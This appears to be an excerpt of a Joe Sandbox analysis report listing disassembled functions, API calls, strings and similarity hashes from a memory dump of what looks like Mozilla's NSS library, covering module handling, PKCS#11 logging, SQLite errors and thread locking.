Part of subcall function 6C715920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C71596A
Part of subcall function 6C715920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C715984
Part of subcall function 6C715920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C715999
Part of subcall function 6C715920: free.MOZGLUE(00000000), ref: 6C7159BA
Part of subcall function 6C715920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7159D3
Part of subcall function 6C715920: free.MOZGLUE(00000000), ref: 6C7159F5
Part of subcall function 6C715920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C715A0A
Part of subcall function 6C715920: free.MOZGLUE(00000000), ref: 6C715A2E
Part of subcall function 6C715920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C715A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724EB3

Part of subcall function 6C724820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C724EB8,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C72484C
Part of subcall function 6C724820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C724EB8,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C72486D
Part of subcall function 6C724820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C724EB8,?), ref: 6C724884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724EC0

Part of subcall function 6C724470: TlsGetValue.KERNEL32(00000000,?,6C6E7296,00000000), ref: 6C724487
Part of subcall function 6C724470: EnterCriticalSection.KERNEL32(?,?,?,6C6E7296,00000000), ref: 6C7244A0
Part of subcall function 6C724470: PR_Unlock.NSS3(?,?,?,?,6C6E7296,00000000), ref: 6C7244BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C724F8F
PK11_UpdateSlotAttribute.NSS3(?,6C7FDCB0,00000000), ref: 6C724FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C72501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6E78F8), ref: 6C72506B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 1448619db3c94525c04d3a06940f1d39c22fa20c0443b799607193fcb048dc35
Instruction ID: 69af4205ce74d719cc2a94547949408ed578de5391a9204c72e649677fa9a808
Opcode Fuzzy Hash: 1448619db3c94525c04d3a06940f1d39c22fa20c0443b799607193fcb048dc35
Instruction Fuzzy Hash: 8B5107B1E002059BEB219F35EE09AAB77B4FF0531CF184635EC0A46A12F739E554CAD2

Function 6C6CACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CACE2
malloc.MOZGLUE(00000001), ref: 6C6CACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6CAD02
TlsGetValue.KERNEL32 ref: 6C6CAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6CAD8C
PR_Unlock.NSS3 ref: 6C6CADC0
free.MOZGLUE(00000000), ref: 6C6CAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6CAE58
free.MOZGLUE(00000000), ref: 6C6CAE69
free.MOZGLUE(?), ref: 6C6CAE78
PR_Unlock.NSS3 ref: 6C6CAE8C
free.MOZGLUE(?), ref: 6C6CAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6CAEC7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6eb9c69fdd5cfb679b9c99a507286fcc50e18e2637c38d72814e0931ad1cf599
Instruction ID: ffb4832cf8a5832af832878533c6d53933775d6edc2c61839e77f9771015b691
Opcode Fuzzy Hash: 6eb9c69fdd5cfb679b9c99a507286fcc50e18e2637c38d72814e0931ad1cf599
Instruction Fuzzy Hash: 955191B1F011158BDF20DFD8D8496AE77B4EB0A74DF144535D809A3A12E335E905CBEA

Function 6C7A4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7A4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7A4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7A4D44

Strings

API call with %s database connection pointer, xrefs: 6C7A4CF6
unknown error, xrefs: 6C7A4D56
no more rows available, xrefs: 6C7A4D2E
another row available, xrefs: 6C7A4D20
out of memory, xrefs: 6C7A4C78, 6C7A4C9E
invalid, xrefs: 6C7A4CF1
abort due to ROLLBACK, xrefs: 6C7A4D27, 6C7A4D33
bad parameter or other API misuse, xrefs: 6C7A4D05

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 0a93d6e62e179681d0b695e50b13433ea6b0c33acb4cf70dee4e202165f56470
Instruction ID: d4dc1a7559ac37b7da37f811f43a8983f03cbfc74bbf0ab0a6431c1243103780
Opcode Fuzzy Hash: 0a93d6e62e179681d0b695e50b13433ea6b0c33acb4cf70dee4e202165f56470
Instruction Fuzzy Hash: 0B315773B04811B7D72806A4AB127A573627783318F152B35D5284BE15CF27BC17E3E6

Function 6C702CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C702CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C702D07

Part of subcall function 6C7E09D0: PR_Now.NSS3 ref: 6C7E0A22
Part of subcall function 6C7E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7E0A35
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7E0A66
Part of subcall function 6C7E09D0: PR_GetCurrentThread.NSS3 ref: 6C7E0A70
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7E0A9D
Part of subcall function 6C7E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7E0AC8
Part of subcall function 6C7E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7E0AE8
Part of subcall function 6C7E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7E0B19
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7E0B48
Part of subcall function 6C7E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7E0C76
Part of subcall function 6C7E09D0: PR_LogFlush.NSS3 ref: 6C7E0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C702D22

Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7E0B88
Part of subcall function 6C7E09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7E0C5D
Part of subcall function 6C7E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C7E0C8D
Part of subcall function 6C7E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7E0C9C
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7E0CD1
Part of subcall function 6C7E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7E0CEC
Part of subcall function 6C7E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7E0CFB
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7E0D16
Part of subcall function 6C7E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C7E0D26
Part of subcall function 6C7E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7E0D35
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C7E0D65
Part of subcall function 6C7E09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C7E0D70
Part of subcall function 6C7E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7E0D90
Part of subcall function 6C7E09D0: free.MOZGLUE(00000000), ref: 6C7E0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C702D3B

Part of subcall function 6C7E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C7E0BAB
Part of subcall function 6C7E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7E0BBA
Part of subcall function 6C7E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7E0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C702D54

Part of subcall function 6C7E09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7E0BCB
Part of subcall function 6C7E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7E0BDE
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(?), ref: 6C7E0C16

Strings

pPin = 0x%p, xrefs: 6C702D1D
slotID = 0x%x, xrefs: 6C702D02
pLabel = 0x%p, xrefs: 6C702D4F
C_InitToken, xrefs: 6C702CE7
ulPinLen = %d, xrefs: 6C702D36
n~l, xrefs: 6C702D6C, 6C702D9A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$n~l
API String ID: 420000887-3605670669
Opcode ID: 6b6a9f7f0e17d0cc55f85933d7ada5ccfc8dd4e4dcd56784d2dc9cf0cc1d4114
Instruction ID: fcb81373b68cf6def35ba18441a259e4caf546315562fd9d33917c4903cd590c
Opcode Fuzzy Hash: 6b6a9f7f0e17d0cc55f85933d7ada5ccfc8dd4e4dcd56784d2dc9cf0cc1d4114
Instruction Fuzzy Hash: B221CFB6300144AFDB209F94DF8DA893BF1EB8631EF048835E50893622CB349C49DBE1

Function 6C7A2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7A2D9F

Part of subcall function 6C65CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6BF9C9,?,6C6BF4DA,6C6BF9C9,?,?,6C68369A), ref: 6C65CA7A
Part of subcall function 6C65CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C65CB26

sqlite3_exec.NSS3(?,?,6C7A2F70,?,?), ref: 6C7A2DF9
sqlite3_free.NSS3(00000000), ref: 6C7A2E2C
sqlite3_free.NSS3(?), ref: 6C7A2E3A
sqlite3_free.NSS3(?), ref: 6C7A2E52
sqlite3_mprintf.NSS3(6C80AAF9,?), ref: 6C7A2E62
sqlite3_free.NSS3(?), ref: 6C7A2E70
sqlite3_free.NSS3(?), ref: 6C7A2E89
sqlite3_free.NSS3(?), ref: 6C7A2EBB
sqlite3_free.NSS3(?), ref: 6C7A2ECB
sqlite3_free.NSS3(00000000), ref: 6C7A2F3E
sqlite3_free.NSS3(?), ref: 6C7A2F4C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 7a5db26a66317d8e570c3c6ba0fde39fc48bf8e743ac42ca0dfbbc646e9b8986
Instruction ID: 456a09be1e7a709433410f47e6dfec21eb182acb1e92d8f69d67e658ffacd6ad
Opcode Fuzzy Hash: 7a5db26a66317d8e570c3c6ba0fde39fc48bf8e743ac42ca0dfbbc646e9b8986
Instruction Fuzzy Hash: 7761B3B5E052058BEB00CFAAD989BDEB7B5EF49348F144134DC09A7701E731E856CBA5

Function 6C6E7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C832120,Function_00097E60,00000000,?,?,?,?,6C76067D,6C761C60,00000000), ref: 6C6E7C81

Part of subcall function 6C654C70: TlsGetValue.KERNEL32(?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654C97
Part of subcall function 6C654C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CB0
Part of subcall function 6C654C70: PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CC9

TlsGetValue.KERNEL32 ref: 6C6E7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C6E7CB4
PR_Unlock.NSS3 ref: 6C6E7CCF

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

TlsGetValue.KERNEL32 ref: 6C6E7D04
EnterCriticalSection.KERNEL32(?), ref: 6C6E7D1B
realloc.MOZGLUE(-00000050), ref: 6C6E7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E7DF4
PR_Unlock.NSS3 ref: 6C6E7E0E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 7181c16a2494f7d03751b083cbb5e9e27cd167b45a4c3036eeb4472c62b80c2e
Instruction ID: 70b5327c5793929065f98b33b5520250ddda3beb47df122046fbf1099a4d1b01
Opcode Fuzzy Hash: 7181c16a2494f7d03751b083cbb5e9e27cd167b45a4c3036eeb4472c62b80c2e
Instruction Fuzzy Hash: 4A512271A0A1009BDF305F68DD48A6937B5EB0A31CF25553BDA0847723EB30E861CAD4

Function 6C654C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CB0
PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654D97
PR_Lock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654DBA
PR_WaitCondVar.NSS3 ref: 6C654DD4
PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654DEF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 38785e241f50088a244ee30869d6d269f05a3234013cf67ca7ecd9227757f3c4
Instruction ID: 20094fe3df3505b3989eb2128e93530dbb3d835a331c0165322af1da5f398e8c
Opcode Fuzzy Hash: 38785e241f50088a244ee30869d6d269f05a3234013cf67ca7ecd9227757f3c4
Instruction Fuzzy Hash: BB41C0B1A08644CFCB20AFB8D488169BBF0BF46318F555AB9D84897711E770D8A4CBC9

Function 6C6F8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C6F9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6F9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C6F905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C6F9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6F90EC

Part of subcall function 6C6C0F00: PR_GetPageSize.NSS3(6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F1B
Part of subcall function 6C6C0F00: PR_NewLogModule.NSS3(clock,6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6EDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6F9111

Strings

n~l, xrefs: 6C6F90A3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: n~l
API String ID: 2831689957-1419236611
Opcode ID: 985a0ab22237c3139e4207e0d1a982425c1272005bdc4d89ff6deca2f597d75a
Instruction ID: a4b3e732c99feb29868fd23ba0fe60f330f26ac4da42fed9c41e3156b9ec81b6
Opcode Fuzzy Hash: 985a0ab22237c3139e4207e0d1a982425c1272005bdc4d89ff6deca2f597d75a
Instruction Fuzzy Hash: 09518870A042048FDB10EF78C588299BBF2AF4A318F055579DC589B716EB35E886CBD5

Function 6C7E7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C7E7CE0

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E7D36
PR_Realloc.NSS3(?,00000080), ref: 6C7E7D6D
PR_GetCurrentThread.NSS3 ref: 6C7E7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C7E7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E7DD8
malloc.MOZGLUE(00000080), ref: 6C7E7DF8
PR_GetCurrentThread.NSS3 ref: 6C7E7E06

Strings

:%s:%d:0x%lx, xrefs: 6C7E7DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C7E7DF0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 34070c4c7fe7079ca49a921b8fb9f3f7b2d07afb40783a0981f7a0e0875e1072
Instruction ID: 68f2908ea5da2217872c65b4ad572dce8f78223933df605816305e269e77fbfa
Opcode Fuzzy Hash: 34070c4c7fe7079ca49a921b8fb9f3f7b2d07afb40783a0981f7a0e0875e1072
Instruction Fuzzy Hash: 13410BB26002059FDB08CF28DE85D6B37BAFF89318B15456CE819CB752D731E851C7A1

Function 6C7E7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C7E7E46

Part of subcall function 6C6C1240: TlsGetValue.KERNEL32(00000040,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1267
Part of subcall function 6C6C1240: EnterCriticalSection.KERNEL32(?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C127C
Part of subcall function 6C6C1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1291
Part of subcall function 6C6C1240: PR_Unlock.NSS3(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C7E7EAF
PR_ImportFile.NSS3(?), ref: 6C7E7ECF
PR_GetCurrentThread.NSS3 ref: 6C7E7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C7E7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C7E7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C7E7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C7E7E41
